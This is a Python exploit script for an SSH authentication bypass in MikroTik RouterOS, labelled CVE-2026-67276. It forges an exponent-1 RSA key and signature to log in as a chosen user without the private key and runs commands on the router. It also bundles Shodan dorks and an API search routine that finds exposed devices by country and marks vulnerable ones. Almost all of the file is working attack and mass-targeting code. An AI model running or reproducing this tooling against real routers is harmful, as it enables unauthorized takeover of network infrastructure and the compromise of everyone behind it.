#!/usr/bin/env python3 """ full_exploit.py - CVE-2026-67276 (MikroTrick) SSH auth-bypass exploit. Mechanism: RouterOS matches SSH userauth public-key blob by (key type, modulus), omitting the exponent, then verifies signature using the client-supplied exponent. Presenting {ssh-rsa, e=1, n=victim_modulus} makes sig^1 mod n == sig, so the valid "signature" is just the EMSA-PKCS1-v1_5 block - forgeable by anyone who knows the victim's RSA modulus. No private key needed. Vulnerable versions: RouterOS 7.24 - 7.24.1 / 7.0.0 - 7.23.3 / 6.0.0 - 6.49.20 Usage: python3 full_exploit.py --host 192.168.88.1 --username admin python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print' python3 full_exploit.py --shodan-dorks python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY """ import argparse import base64 import hashlib import json import os import re import socket import struct import sys import urllib.request import urllib.error import paramiko from paramiko.message import Message from paramiko.pkey import PKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization # ============================================================================ # Shodan Dorks for MikroTik RouterOS # ============================================================================ SHODAN_DORKS = { # Basic MikroTik searches "MikroTik (all devices)": "MikroTik", "MikroTik SSH port 22": "MikroTik port:22", "MikroTik RouterOS product": 'product:"MikroTik RouterOS"', "MikroTik bandwidth-test": "MikroTik bandwidth-test", # Service-specific "Winbox (8291)": "port:8291 MikroTik", "WebFig HTTP": 'http.title:"RouterOS" "MikroTik"', "WebFig login page": 'http.html:"mikrotik" http.html:"routeros"', "API port (8728)": "port:8728 MikroTik", "API-SSL (8729)": "port:8729 MikroTik", # Version-specific (working queries) "RouterOS v6": 'MikroTik "RouterOS v6"', "RouterOS v7": 'MikroTik "RouterOS v7"', "RouterOS 6.49": 'MikroTik "6.49"', "RouterOS 7.x": 'MikroTik RouterOS "7."', # Country filters "MikroTik USA": "MikroTik country:US", "MikroTik Russia": "MikroTik country:RU", "MikroTik Brazil": "MikroTik country:BR", "MikroTik Germany": "MikroTik country:DE", "MikroTik Indonesia": "MikroTik country:ID", # Exposed configs "MikroTik with default creds hint": 'MikroTik "admin" port:22', "MikroTik Neighbor Discovery": "MNDP port:5678", } SHODAN_DORKS_VULNERABLE = { "RouterOS 6.x (vuln range)": 'MikroTik "RouterOS" ("6.48" OR "6.49")', "RouterOS 7.0-7.23": 'MikroTik "RouterOS" "7." -"7.24" -"7.25" -"7.26"', "RouterOS 7.24.0-7.24.1": 'MikroTik ("7.24.0" OR "7.24.1")', "SSH + vulnerable hint": 'port:22 MikroTik ("6.49" OR "7.23" OR "7.24.0" OR "7.24.1")', } def print_shodan_dorks(): """Print Shodan dorks for finding MikroTik devices.""" print("=" * 70) print("SHODAN DORKS FOR MIKROTIK ROUTEROS (CVE-2026-67276)") print("=" * 70) print() print("[*] GENERAL MIKROTIK SEARCHES:") print("-" * 50) for name, dork in SHODAN_DORKS.items(): print(f" {name}:") print(f" {dork}") print() print("[*] VULNERABLE VERSION SEARCHES:") print("-" * 50) for name, dork in SHODAN_DORKS_VULNERABLE.items(): print(f" {name}:") print(f" {dork}") print() print("[*] BEST WORKING QUERIES:") print("-" * 50) print(" All MikroTik devices:") print(" MikroTik") print() print(" MikroTik with SSH:") print(" MikroTik port:22") print() print(" MikroTik Winbox exposed:") print(" port:8291") print() print(" RouterOS WebFig:") print(" http.title:RouterOS") print() print("[*] USAGE:") print("-" * 50) print(" 1. Go to https://www.shodan.io/") print(" 2. Paste a dork in the search bar") print(" 3. Add filters: country:XX, city:XX, org:XX, asn:ASXXXX") print() print("[*] CLI USAGE (requires: pip install shodan):") print("-" * 50) print(' shodan init YOUR_API_KEY') print(' shodan search --fields ip_str,port "MikroTik"') print(' shodan search --fields ip_str,port,version "MikroTik port:22"') print(' shodan download mikrotik_targets "MikroTik port:22" --limit 1000') print(' shodan parse --fields ip_str,port mikrotik_targets.json.gz') print() def shodan_search(api_key: str, query: str, limit: int = 100) -> list: """Search Shodan API for targets.""" results = [] try: url = f"https://api.shodan.io/shodan/host/search?key={api_key}&query={urllib.parse.quote(query)}&limit={limit}" req = urllib.request.Request(url, headers={"User-Agent": "MikroTrick-Exploit/1.0"}) with urllib.request.urlopen(req, timeout=30) as resp: data = json.loads(resp.read().decode()) for match in data.get("matches", []): results.append({ "ip": match.get("ip_str"), "port": match.get("port", 22), "banner": match.get("data", ""), "country": match.get("location", {}).get("country_name", ""), "org": match.get("org", ""), }) except urllib.error.HTTPError as e: print(f"[!] Shodan API error: {e.code} {e.reason}") except Exception as e: print(f"[!] Shodan search error: {e}") return results # ============================================================================ # Vulnerable version ranges # ============================================================================ VULNERABLE_RANGES = [ ((6, 0, 0), (6, 49, 20)), ((7, 0, 0), (7, 23, 3)), ((7, 24, 0), (7, 24, 1)), ] PATCHED_VERSIONS = ["6.49.21", "7.23.4", "7.24.2"] def parse_version(version_str: str) -> tuple: """Parse version string like '7.23.3' into tuple (7, 23, 3).""" match = re.search(r'(\d+)\.(\d+)(?:\.(\d+))?', version_str) if not match: return None major = int(match.group(1)) minor = int(match.group(2)) patch = int(match.group(3)) if match.group(3) else 0 return (major, minor, patch) def is_vulnerable(version: tuple) -> bool: """Check if version tuple is in vulnerable range.""" for min_ver, max_ver in VULNERABLE_RANGES: if min_ver <= version <= max_ver: return True return False def get_ssh_banner(host: str, port: int, timeout: float = 10.0) -> str: """Connect and retrieve SSH banner.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) try: sock.connect((host, port)) banner = sock.recv(1024).decode(errors='replace').strip() return banner finally: sock.close() def detect_routeros_version(host: str, port: int, timeout: float = 10.0) -> dict: """Detect RouterOS version from SSH banner.""" result = { "banner": None, "version": None, "version_tuple": None, "is_mikrotik": False, "is_vulnerable": None, "error": None, } try: banner = get_ssh_banner(host, port, timeout) result["banner"] = banner if "ROSSSH" in banner.upper() or "MIKROTIK" in banner.upper(): result["is_mikrotik"] = True elif "SSH-2.0-ROSSSH" in banner: result["is_mikrotik"] = True version_match = re.search(r'ROSSSH[_-]?(\d+\.\d+(?:\.\d+)?)', banner, re.IGNORECASE) if not version_match: version_match = re.search(r'(\d+\.\d+\.\d+)', banner) if version_match: result["version"] = version_match.group(1) result["version_tuple"] = parse_version(result["version"]) if result["version_tuple"]: result["is_vulnerable"] = is_vulnerable(result["version_tuple"]) except socket.timeout: result["error"] = "Connection timeout" except ConnectionRefusedError: result["error"] = "Connection refused" except Exception as e: result["error"] = str(e) return result # ============================================================================ # Forge primitives # ============================================================================ SIG_HASH = { "ssh-rsa": "sha1", "rsa-sha2-256": "sha256", "rsa-sha2-512": "sha512", } _DIGEST_INFO = { "ssh-rsa": bytes.fromhex("3021300906052b0e03021a05000414"), "rsa-sha2-256": bytes.fromhex("3031300d060960864801650304020105000420"), "rsa-sha2-512": bytes.fromhex("3051300d060960864801650304020305000440"), } def _string(b: bytes) -> bytes: return struct.pack(">I", len(b)) + b def _mpint(i: int) -> bytes: if i == 0: body = b"" else: body = i.to_bytes((i.bit_length() + 7) // 8, "big") if body[0] & 0x80: body = b"\x00" + body return struct.pack(">I", len(body)) + body def emsa_pkcs1_v15(data: bytes, sig_alg: str, k: int) -> bytes: """RFC 8017 section 9.2 EMSA-PKCS1-v1_5.""" digest = hashlib.new(SIG_HASH[sig_alg], data).digest() t = _DIGEST_INFO[sig_alg] + digest ps = b"\xff" * (k - len(t) - 3) if len(ps) < 8: raise ValueError(f"RSA modulus too small for {sig_alg} ({k * 8} bits)") return b"\x00\x01" + ps + b"\x00" + t def parse_openssh_rsa_pubkey(text_or_blob): """Parse 'ssh-rsa AAAA... comment' line. Returns (n, e, comment).""" data = text_or_blob if isinstance(data, str): parts = data.strip().split(None, 2) if len(parts) < 2 or parts[0] != "ssh-rsa": raise ValueError("not an ssh-rsa public key line") blob = base64.b64decode(parts[1]) comment = parts[2] if len(parts) > 2 else "" elif data[:7] in (b"ssh-rsa ", b"ssh-rsa\t"): parts = bytes(data).decode().strip().split(None, 2) if len(parts) < 2: raise ValueError("not an ssh-rsa public key line") blob = base64.b64decode(parts[1]) comment = parts[2] if len(parts) > 2 else "" else: blob, comment = bytes(data), "" offset = 0 def read_string(): nonlocal offset (length,) = struct.unpack_from(">I", blob, offset) offset += 4 value = blob[offset : offset + length] offset += length return value if read_string() not in {a.encode() for a in SIG_HASH}: raise ValueError("blob key type mismatch / not an SSH RSA blob") e = int.from_bytes(read_string(), "big") n = int.from_bytes(read_string(), "big") return n, e, comment def forged_public_blob(sig_alg: str, n: int, exp_bytes: bytes = b"\x01") -> bytes: """Build forged public key blob with e=1.""" return _string(sig_alg.encode()) + _string(exp_bytes) + _mpint(n) def forged_signature(data: bytes, sig_alg: str, n: int) -> bytes: """Build forged signature - valid because e=1 makes sig^1 mod n == sig.""" k = (n.bit_length() + 7) // 8 block = emsa_pkcs1_v15(data, sig_alg, k) return _string(sig_alg.encode()) + _mpint(int.from_bytes(block, "big")) # ============================================================================ # Key generation # ============================================================================ def generate_rsa_keypair(key_path: str, bits: int = 2048) -> int: """Generate RSA keypair and save to files. Returns modulus n.""" print(f"[*] Generating {bits}-bit RSA keypair...") private_key = rsa.generate_private_key( public_exponent=65537, key_size=bits, ) private_pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.OpenSSH, encryption_algorithm=serialization.NoEncryption() ) with open(key_path, "wb") as f: f.write(private_pem) os.chmod(key_path, 0o600) public_key = private_key.public_key() public_ssh = public_key.public_bytes( encoding=serialization.Encoding.OpenSSH, format=serialization.PublicFormat.OpenSSH ) pub_path = key_path + ".pub" with open(pub_path, "wb") as f: f.write(public_ssh + b" exploit-key\n") n = private_key.public_key().public_numbers().n print(f"[+] Private key saved: {key_path}") print(f"[+] Public key saved: {pub_path}") return n # ============================================================================ # Exploit implementation # ============================================================================ class ForgeKey(PKey): """Paramiko PKey subclass that presents forged e=1 key and signature.""" def __init__(self, n: int, alg: str, exp_bytes: bytes = b"\x01"): super().__init__() self.public_blob = None self.n = n self.alg = alg self.exp_bytes = exp_bytes def get_name(self): return "ssh-rsa" def asbytes(self): return forged_public_blob("ssh-rsa", self.n, self.exp_bytes) get_blob = asbytes def __bytes__(self): return self.asbytes() def get_fingerprint(self): return hashlib.sha256(self.asbytes()).hexdigest() def sign_ssh_data(self, data, algorithm=None): alg = algorithm or self.alg return Message(forged_signature(data, alg, self.n)) def attempt(host, port, username, n, alg, timeout, exec_cmd, exp_bytes=b"\x01"): """Single exploit attempt with given signature algorithm.""" t = paramiko.Transport((host, port)) t.start_client(timeout=timeout) try: t._preferred_pubkeys = [alg] t.auth_publickey(username, ForgeKey(n, alg, exp_bytes)) if not t.is_authenticated(): return False, "server accepted neither PK_OK nor signature" if not exec_cmd: return True, None chan = t.open_session(timeout=timeout) chan.exec_command(exec_cmd) out = b"" while True: while chan.recv_ready(): out += chan.recv(4096) if chan.exit_status_ready() and not chan.recv_ready(): break while chan.recv_ready(): out += chan.recv(4096) return True, out.decode(errors="replace") finally: t.close() def load_modulus(args) -> int: """Load RSA modulus from --pubkey, --modulus-hex, or generate new key.""" if args.modulus_hex: hx = ( args.modulus_hex.strip() .lower() .replace("0x", "") .replace(":", "") .replace(" ", "") ) if len(hx) % 2: raise ValueError("modulus hex must have even length") return int(hx, 16) if args.pubkey: with open(args.pubkey) as fh: n, e, comment = parse_openssh_rsa_pubkey(fh.read()) print(f"[*] Loaded key: {n.bit_length()}-bit modulus, e={e}, comment={comment!r}") return n script_dir = os.path.dirname(os.path.abspath(__file__)) key_path = os.path.join(script_dir, "exploit_key") return generate_rsa_keypair(key_path) def main() -> int: ap = argparse.ArgumentParser( description="CVE-2026-67276 MikroTik RouterOS SSH auth-bypass exploit" ) ap.add_argument("--host", help="target RouterOS IP/hostname") ap.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") ap.add_argument("--username", help="target RouterOS user") ap.add_argument("--pubkey", help="existing RSA public key file (auto-generates if not provided)") ap.add_argument("--modulus-hex", help="RSA modulus as hex (alternative to --pubkey)") ap.add_argument( "--algos", default="ssh-rsa,rsa-sha2-256", help="signature algorithms to try (default: ssh-rsa,rsa-sha2-256)", ) ap.add_argument("--exec", dest="exec_cmd", help="command to run post-auth") ap.add_argument( "--exp-enc", choices=["canonical", "aligned"], default="canonical", help="e=1 encoding: canonical (1 byte) or aligned (3 bytes)", ) ap.add_argument("--timeout", type=float, default=15.0, help="connection timeout") ap.add_argument("--skip-version-check", action="store_true", help="skip version verification") # Shodan options ap.add_argument("--shodan-dorks", action="store_true", help="print Shodan dorks for finding MikroTik") ap.add_argument("--shodan-search", action="store_true", help="search Shodan API for targets") ap.add_argument("--shodan-key", help="Shodan API key") ap.add_argument("--shodan-query", default='"SSH-2.0-ROSSSH"', help="Shodan search query") ap.add_argument("--shodan-limit", type=int, default=100, help="Shodan results limit") args = ap.parse_args() # Shodan dorks mode if args.shodan_dorks: print_shodan_dorks() return 0 # Shodan search mode if args.shodan_search: if not args.shodan_key: print("[!] --shodan-key required for Shodan search") print("[*] Get your API key at https://account.shodan.io/") return 1 print(f"[*] Searching Shodan: {args.shodan_query}") results = shodan_search(args.shodan_key, args.shodan_query, args.shodan_limit) print(f"[+] Found {len(results)} results") print() for r in results: version_match = re.search(r'ROSSSH[_-]?(\d+\.\d+(?:\.\d+)?)', r['banner'], re.IGNORECASE) version = version_match.group(1) if version_match else "?" vuln = "" if version != "?": v_tuple = parse_version(version) if v_tuple and is_vulnerable(v_tuple): vuln = " [VULNERABLE]" print(f" {r['ip']}:{r['port']} - v{version} - {r['country']} - {r['org']}{vuln}") return 0 # Exploit mode - require host and username if not args.host or not args.username: ap.print_help() print("\n[!] --host and --username required for exploit mode") print("[*] Use --shodan-dorks to see search queries for finding targets") return 1 print(f"[*] CVE-2026-67276 MikroTrick Exploit") print(f"[*] Target: {args.host}:{args.port}") print() # Version detection if not args.skip_version_check: print("[*] Detecting RouterOS version...") detection = detect_routeros_version(args.host, args.port, args.timeout) if detection["error"]: print(f"[!] Detection error: {detection['error']}") return 1 print(f"[*] SSH Banner: {detection['banner']}") if not detection["is_mikrotik"]: print("[-] Target does not appear to be MikroTik RouterOS") print(" Use --skip-version-check to force exploit attempt") return 1 if detection["version"]: print(f"[*] RouterOS Version: {detection['version']}") if detection["is_vulnerable"] is True: print(f"[+] VERSION VULNERABLE - CVE-2026-67276 applies") elif detection["is_vulnerable"] is False: print(f"[-] VERSION NOT VULNERABLE (patched: {', '.join(PATCHED_VERSIONS)})") print(" Use --skip-version-check to force exploit attempt") return 1 else: print("[?] Could not determine vulnerability status") else: print("[?] Could not extract version from banner") print() # Load or generate key n = load_modulus(args) print(f"[*] Modulus: {n.bit_length()}-bit | forged e=1") exp_bytes = b"\x00\x00\x01" if args.exp_enc == "aligned" else b"\x01" print(f"[*] Exponent encoding: {args.exp_enc} ({exp_bytes.hex()})") print() # Exploit attempts for alg in [a.strip() for a in args.algos.split(",") if a.strip()]: print(f"[*] Trying {alg} ...") try: ok, detail = attempt( args.host, args.port, args.username, n, alg, args.timeout, args.exec_cmd, exp_bytes, ) except paramiko.AuthenticationException as exc: print(f"[-] {alg}: rejected ({exc})") continue except Exception as exc: print(f"[!] {alg}: error: {exc}") continue if ok: print(f"[+] AUTHENTICATED as {args.username!r} via {alg}") print("[+] CVE-2026-67276 CONFIRMED - target is vulnerable") if detail: print("--- command output ---") print(detail) return 0 print(f"[-] {alg}: {detail}") print("\n[-] All algorithms failed. Check:") print(" - RouterOS version in vulnerable range?") print(" - Username has RSA authorized key?") print(" - Correct modulus for that key?") return 1 if __name__ == "__main__": sys.exit(main())